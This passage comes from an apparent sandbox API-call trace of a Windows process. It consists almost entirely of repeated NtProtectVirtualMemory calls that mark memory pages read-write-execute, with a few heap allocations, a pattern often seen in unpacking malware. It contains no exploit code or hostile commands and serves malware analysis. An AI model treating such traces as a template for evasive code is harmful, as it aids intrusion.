OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.362] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.489] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.503] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.517] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.546] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.588] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x929a50) returned 1 [0238.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.672] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.730] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x4000) returned 0x92ea60 [0238.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.747] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.776] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.798] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.849] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.860] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x92ba58) returned 1 [0238.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.014] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x5000) returned 0x928a48 [0239.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.110] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.121] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.132] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x92ea60) returned 1 [0239.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.170] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.180] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.191] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.225] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.247] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.269] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.279] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.290] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.334] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x1000) returned 0x92da50 [0239.339] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x2000) returned 0x92ea58 [0239.344] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x92da50) returned 1 [0239.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.365] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.410] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.422] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.613] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.624] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.663] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.684] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.748] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.766] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.776] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.798] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.906] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.928] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0239.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.079] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.090] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.100] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.111] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: 